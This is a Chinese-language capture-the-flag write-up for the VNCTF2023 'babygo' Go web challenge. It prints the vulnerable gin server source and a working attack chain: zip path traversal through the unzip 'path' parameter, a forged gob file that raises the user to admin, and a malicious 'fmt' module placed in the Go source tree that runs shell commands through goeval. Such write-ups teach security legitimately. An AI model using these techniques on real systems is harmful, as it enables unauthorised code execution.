babygo

这个题目确实挺baby的我初学者都能写

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
package main

import (
"encoding/gob"
"fmt"
"github.com/PaulXu-cn/goeval"
"github.com/duke-git/lancet/cryptor"
"github.com/duke-git/lancet/fileutil"
"github.com/duke-git/lancet/random"
"github.com/gin-contrib/sessions"
"github.com/gin-contrib/sessions/cookie"
"github.com/gin-gonic/gin"
"net/http"
"os"
"path/filepath"
"strings"
)

type User struct {
Name string
Path string
Power string
}

func main() {
r := gin.Default()
store := cookie.NewStore(random.RandBytes(16))
r.Use(sessions.Sessions("session", store))
r.LoadHTMLGlob("template/*")

r.GET("/", func(c *gin.Context) {
userDir := "/tmp/" + cryptor.Md5String(c.ClientIP()+"VNCTF2023GoGoGo~") + "/"
session := sessions.Default(c)
session.Set("shallow", userDir) // shallow = /tmp/4b997ad5487153fba0162e525abd6b7d/
session.Save()
fileutil.CreateDir(userDir)
gobFile, _ := os.Create(userDir + "user.gob") // /tmp/4b997ad5487153fba0162e525abd6b7d/user.gob
user := User{Name: "ctfer", Path: userDir, Power: "low"}
encoder := gob.NewEncoder(gobFile)
encoder.Encode(user)
if fileutil.IsExist(userDir) && fileutil.IsExist(userDir+"user.gob") {
c.HTML(200, "index.html", gin.H{"message": "Your path: " + userDir})
return
}
c.HTML(500, "index.html", gin.H{"message": "failed to make user dir"})
})

r.GET("/upload", func(c *gin.Context) {
c.HTML(200, "upload.html", gin.H{"message": "upload me!"})
})

r.POST("/upload", func(c *gin.Context) {
session := sessions.Default(c)
if session.Get("shallow") == nil {
c.Redirect(http.StatusFound, "/")
}
userUploadDir := session.Get("shallow").(string) + "uploads/"
fileutil.CreateDir(userUploadDir) // /tmp/4b997ad5487153fba0162e525abd6b7d/uploads/
file, err := c.FormFile("file")
if err != nil {
c.HTML(500, "upload.html", gin.H{"message": "no file upload"})
return
}
ext := file.Filename[strings.LastIndex(file.Filename, "."):]
if ext == ".gob" || ext == ".go" {
c.HTML(500, "upload.html", gin.H{"message": "Hacker!"})
return
}
filename := userUploadDir + file.Filename
if fileutil.IsExist(filename) {
fileutil.RemoveFile(filename)
}
err = c.SaveUploadedFile(file, filename)
if err != nil {
c.HTML(500, "upload.html", gin.H{"message": "failed to save file"})
return
}
c.HTML(200, "upload.html", gin.H{"message": "file saved to " + filename})
})

r.GET("/unzip", func(c *gin.Context) {
session := sessions.Default(c)
if session.Get("shallow") == nil {
c.Redirect(http.StatusFound, "/")
}
userUploadDir := session.Get("shallow").(string) + "uploads/" // /tmp/4b997ad5487153fba0162e525abd6b7d/uploads/
files, _ := fileutil.ListFileNames(userUploadDir)
destPath := filepath.Clean(userUploadDir + c.Query("path"))
for _, file := range files {
if fileutil.MiMeType(userUploadDir+file) == "application/zip" {
err := fileutil.UnZip(userUploadDir+file, destPath)
if err != nil {
c.HTML(200, "zip.html", gin.H{"message": "failed to unzip file"})
return
}
fileutil.RemoveFile(userUploadDir + file)
}
}
c.HTML(200, "zip.html", gin.H{"message": "success unzip"})
})

r.GET("/backdoor", func(c *gin.Context) {
session := sessions.Default(c)
if session.Get("shallow") == nil {
c.Redirect(http.StatusFound, "/")
}
userDir := session.Get("shallow").(string)
if fileutil.IsExist(userDir + "user.gob") {
file, _ := os.Open(userDir + "user.gob")
decoder := gob.NewDecoder(file)
var ctfer User
decoder.Decode(&ctfer)
//
if ctfer.Power == "admin" { //
eval, err := goeval.Eval("", "fmt.Println(\"Good\")", c.DefaultQuery("pkg", "fmt"))
if err != nil {
fmt.Println(err)
}
c.HTML(200, "backdoor.html", gin.H{"message": string(eval)})
return
} else {
c.HTML(200, "backdoor.html", gin.H{"message": "low power"})
return
}
} else {
c.HTML(500, "backdoor.html", gin.H{"message": "no such user gob"})
return
}
})

r.Run(":80")
}

挨个分析路由

首先是/

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
r.GET("/", func(c *gin.Context) {
userDir := "/tmp/" + cryptor.Md5String(c.ClientIP()+"VNCTF2023GoGoGo~") + "/"
session := sessions.Default(c)
// session中的shallow的值设置为userDir的值,并且保存这个session
session.Set("shallow", userDir)
session.Save()
// 用你的userDir创建一个目录
fileutil.CreateDir(userDir)
// 在你的userdir里面创建user.gob文件
gobFile, _ := os.Create(userDir + "user.gob") // /tmp/4b997ad5487153fba0162e525abd6b7d/user.gob
user := User{Name: "ctfer", Path: userDir, Power: "low"}
// 对象序列化存入user.gob
encoder := gob.NewEncoder(gobFile)
encoder.Encode(user)
if fileutil.IsExist(userDir) && fileutil.IsExist(userDir+"user.gob") {
c.HTML(200, "index.html", gin.H{"message": "Your path: " + userDir})
return
}
c.HTML(500, "index.html", gin.H{"message": "failed to make user dir"})
})

然后是/upload路由

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
r.GET("/upload", func(c *gin.Context) {
c.HTML(200, "upload.html", gin.H{"message": "upload me!"})
})

r.POST("/upload", func(c *gin.Context) {
session := sessions.Default(c)
if session.Get("shallow") == nil {
c.Redirect(http.StatusFound, "/")
}
userUploadDir := session.Get("shallow").(string) + "uploads/"
fileutil.CreateDir(userUploadDir) // /tmp/4b997ad5487153fba0162e525abd6b7d/uploads/
file, err := c.FormFile("file")
if err != nil {
c.HTML(500, "upload.html", gin.H{"message": "no file upload"})
return
}
ext := file.Filename[strings.LastIndex(file.Filename, "."):]
if ext == ".gob" || ext == ".go" {
c.HTML(500, "upload.html", gin.H{"message": "Hacker!"})
return
}
filename := userUploadDir + file.Filename
if fileutil.IsExist(filename) {
fileutil.RemoveFile(filename)
}
err = c.SaveUploadedFile(file, filename)
if err != nil {
c.HTML(500, "upload.html", gin.H{"message": "failed to save file"})
return
}
c.HTML(200, "upload.html", gin.H{"message": "file saved to " + filename})
})

代码没什么特别的,就是一个文件上传功能,过滤了.gob和.go文件,上传文件存放在/tmp/{userDir}/upload

然后是/unzip路由

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
r.GET("/unzip", func(c *gin.Context) {
session := sessions.Default(c)
if session.Get("shallow") == nil {
c.Redirect(http.StatusFound, "/")
}
userUploadDir := session.Get("shallow").(string) + "uploads/" // /tmp/4b997ad5487153fba0162e525abd6b7d/uploads/
files, _ := fileutil.ListFileNames(userUploadDir)
destPath := filepath.Clean(userUploadDir + c.Query("path"))
for _, file := range files {
if fileutil.MiMeType(userUploadDir+file) == "application/zip" {
err := fileutil.UnZip(userUploadDir+file, destPath)
if err != nil {
c.HTML(200, "zip.html", gin.H{"message": "failed to unzip file"})
return
}
fileutil.RemoveFile(userUploadDir + file)
}
}
c.HTML(200, "zip.html", gin.H{"message": "success unzip"})
})

这个路由是个解压功能,下面这段就是如果是zip则解压到destpath这个路径,

1
2
3
4
5
6
7
8
9
10
for _, file := range files {
if fileutil.MiMeType(userUploadDir+file) == "application/zip" {
err := fileutil.UnZip(userUploadDir+file, destPath)
if err != nil {
c.HTML(200, "zip.html", gin.H{"message": "failed to unzip file"})
return
}
fileutil.RemoveFile(userUploadDir + file)
}
}

然后因为下面这段代码,所以可以知道,解压路径是可控的,即利用..就可以达到访问任意目录的目的。

1
destPath := filepath.Clean(userUploadDir + c.Query("path"))

然后是最后一个路由/backdoor。后门路由

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
r.GET("/backdoor", func(c *gin.Context) {
session := sessions.Default(c)
if session.Get("shallow") == nil {
c.Redirect(http.StatusFound, "/")
}
userDir := session.Get("shallow").(string)
if fileutil.IsExist(userDir + "user.gob") {
file, _ := os.Open(userDir + "user.gob")
decoder := gob.NewDecoder(file)
var ctfer User
decoder.Decode(&ctfer)
//
if ctfer.Power == "admin" { //
eval, err := goeval.Eval("", "fmt.Println(\"Good\")", c.DefaultQuery("pkg", "fmt"))
if err != nil {
fmt.Println(err)
}
c.HTML(200, "backdoor.html", gin.H{"message": string(eval)})
return
} else {
c.HTML(200, "backdoor.html", gin.H{"message": "low power"})
return
}
} else {
c.HTML(500, "backdoor.html", gin.H{"message": "no such user gob"})
return
}
})

这里面主要是两点,ctfer.Power == “admin”这个判断,以及eval方法的利用。

  • ctfer.Power == “admin”很显然要利用前面文件上传,达到上传一个user.gob并且替换序列化对象中的Power的值。而这个题目由于有个/unzip因此我们可以上传一个压缩包,直接然后利用解压把文件放到我们想要的任何位置。修改的代码如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
package main

import (
"encoding/gob"
"os"
)

type User struct {
Name string
Path string
Power string
}

func main() {
userDir := ""
os.Create(userDir + "user.gob")
gobFile, _ := os.Create(userDir + "user.gob") // 创建文件 /tmp/4b997ad5487153fba0162e525abd6b7d/user.gob
user := User{Name: "ctfer", Path: userDir, Power: "admin"}
encoder := gob.NewEncoder(gobFile)
encoder.Encode(user)
}

然后把user.gob压缩一下,上传上去

image-20230223175051058

然后访问即可/unzip?path=../

image-20230223175241163

  • 然后是eval方法利用
1
eval, err := goeval.Eval("", "fmt.Println(\"Good\")", c.DefaultQuery("pkg", "fmt"))

很明显,内容是不可控的,但是有一个点,调用的函数内容我们是可控的。

因为没有规定这个fmt一定是原本库里面的fmt,我们可以直接自己上传一个fmt去令其执行我们想要的代码。

因此可以自己写一个fmt模块

例如 RCE/fmt

目录结构如下:

RCE

​ fmt

​ –fmt.go

​ –go.mod

操作在fmt文件夹下面调用go mod init fmt

然后go.mod里面内容如下

1
2
3
4
5
6
module fmt

go 1.19

require RCE/fmt v0.0.0
replace RCE/fmt v0.0.0 => ../fmt

fmt.go里面内容

1
2
3
4
5
6
7
8
9
10
11
12
13
package fmt

import "os/exec"
import "fmt"

func Println(cmd string) {
out, _ := exec.Command("cat", "/ffflllaaaggg").Output()
// out, _ := exec.Command("whoami").Output()
fmt.Println(string(out))
}

// /usr/local/go/src/

然后把文件内容放到/usr/local/go/src/目录下面就可以了

image-20230223180503199

然后访问backdoor就可以得到flag